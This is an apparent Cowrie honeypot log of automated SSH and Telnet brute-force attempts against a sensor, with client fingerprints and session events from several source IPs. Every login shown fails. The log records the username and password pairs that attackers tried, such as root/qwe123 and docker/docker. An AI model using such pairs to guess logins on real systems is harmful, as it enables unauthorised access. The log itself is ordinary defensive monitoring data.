{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:07.429744Z","src_ip":"45.156.87.254","session":"4dd79fe19909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:08.519799Z","src_ip":"45.156.87.254","session":"4dd79fe19909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56794,"dst_ip":"159.203.135.109","dst_port":22,"session":"e5239f8aa6b6","protocol":"ssh","message":"New connection: 45.156.87.254:56794 (159.203.135.109:22) [session: e5239f8aa6b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:12.193249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:12.199622Z","src_ip":"45.156.87.254","session":"e5239f8aa6b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:12.290832Z","src_ip":"45.156.87.254","session":"e5239f8aa6b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:12.557129Z","src_ip":"45.156.87.254","session":"e5239f8aa6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":55466,"dst_ip":"10.17.0.5","dst_port":23,"session":"951469baecf7","protocol":"telnet","message":"New connection: 20.123.41.163:55466 (10.17.0.5:23) [session: 951469baecf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:12.937497Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:13.645904Z","src_ip":"45.156.87.254","session":"e5239f8aa6b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":56800,"dst_ip":"159.203.135.109","dst_port":22,"session":"327a32cb502b","protocol":"ssh","message":"New connection: 45.156.87.254:56800 (159.203.135.109:22) [session: 327a32cb502b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:17.601778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:17.607186Z","src_ip":"45.156.87.254","session":"327a32cb502b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:17.694916Z","src_ip":"45.156.87.254","session":"327a32cb502b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:18.074608Z","src_ip":"45.156.87.254","session":"327a32cb502b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:19.161639Z","src_ip":"45.156.87.254","session":"327a32cb502b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":39366,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd54005acd68","protocol":"ssh","message":"New connection: 45.156.87.254:39366 (159.203.135.109:22) [session: cd54005acd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:23.193946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:23.200582Z","src_ip":"45.156.87.254","session":"cd54005acd68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:23.293748Z","src_ip":"45.156.87.254","session":"cd54005acd68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:23.548413Z","src_ip":"45.156.87.254","session":"cd54005acd68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:24.633308Z","src_ip":"45.156.87.254","session":"cd54005acd68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":57888,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ea26453634e","protocol":"ssh","message":"New connection: 185.16.214.226:57888 (10.17.0.5:22) [session: 1ea26453634e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:27.862583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:27.867066Z","src_ip":"185.16.214.226","session":"1ea26453634e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:27.995361Z","src_ip":"185.16.214.226","session":"1ea26453634e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test333","message":"login attempt [root/test333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:28.538981Z","src_ip":"185.16.214.226","session":"1ea26453634e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc46235c1ba4","protocol":"ssh","message":"New connection: 45.156.87.254:41920 (159.203.135.109:22) [session: dc46235c1ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:29.029199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:29.033814Z","src_ip":"45.156.87.254","session":"dc46235c1ba4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:29.120891Z","src_ip":"45.156.87.254","session":"dc46235c1ba4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:29.377073Z","src_ip":"45.156.87.254","session":"dc46235c1ba4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:29.668916Z","src_ip":"185.16.214.226","session":"1ea26453634e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:30.462722Z","src_ip":"45.156.87.254","session":"dc46235c1ba4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":41948,"dst_ip":"159.203.135.109","dst_port":22,"session":"591eff4c0229","protocol":"ssh","message":"New connection: 45.156.87.254:41948 (159.203.135.109:22) [session: 591eff4c0229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:35.116939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:35.246214Z","src_ip":"45.156.87.254","session":"591eff4c0229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:35.249994Z","src_ip":"45.156.87.254","session":"591eff4c0229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:35.622223Z","src_ip":"45.156.87.254","session":"591eff4c0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.03964710235596,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:36.610795Z","src_ip":"20.123.41.163","session":"d34366d373e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:36.720032Z","src_ip":"45.156.87.254","session":"591eff4c0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.424604415893555,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:38.129668Z","src_ip":"20.123.41.163","session":"4d36d0b5b6de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46940,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdc68a362cdb","protocol":"ssh","message":"New connection: 45.156.87.254:46940 (159.203.135.109:22) [session: bdc68a362cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:40.677324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:40.681863Z","src_ip":"45.156.87.254","session":"bdc68a362cdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:40.768242Z","src_ip":"45.156.87.254","session":"bdc68a362cdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:41.025762Z","src_ip":"45.156.87.254","session":"bdc68a362cdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:42.112580Z","src_ip":"45.156.87.254","session":"bdc68a362cdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46944,"dst_ip":"159.203.135.109","dst_port":22,"session":"931b137d42f8","protocol":"ssh","message":"New connection: 45.156.87.254:46944 (159.203.135.109:22) [session: 931b137d42f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:46.181689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:46.225583Z","src_ip":"45.156.87.254","session":"931b137d42f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:46.311389Z","src_ip":"45.156.87.254","session":"931b137d42f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:46.592020Z","src_ip":"45.156.87.254","session":"931b137d42f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:47.841382Z","src_ip":"45.156.87.254","session":"931b137d42f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":33406,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46e04dd6ac1","protocol":"ssh","message":"New connection: 186.30.115.187:33406 (10.17.0.5:22) [session: f46e04dd6ac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:56:48.953791Z"}
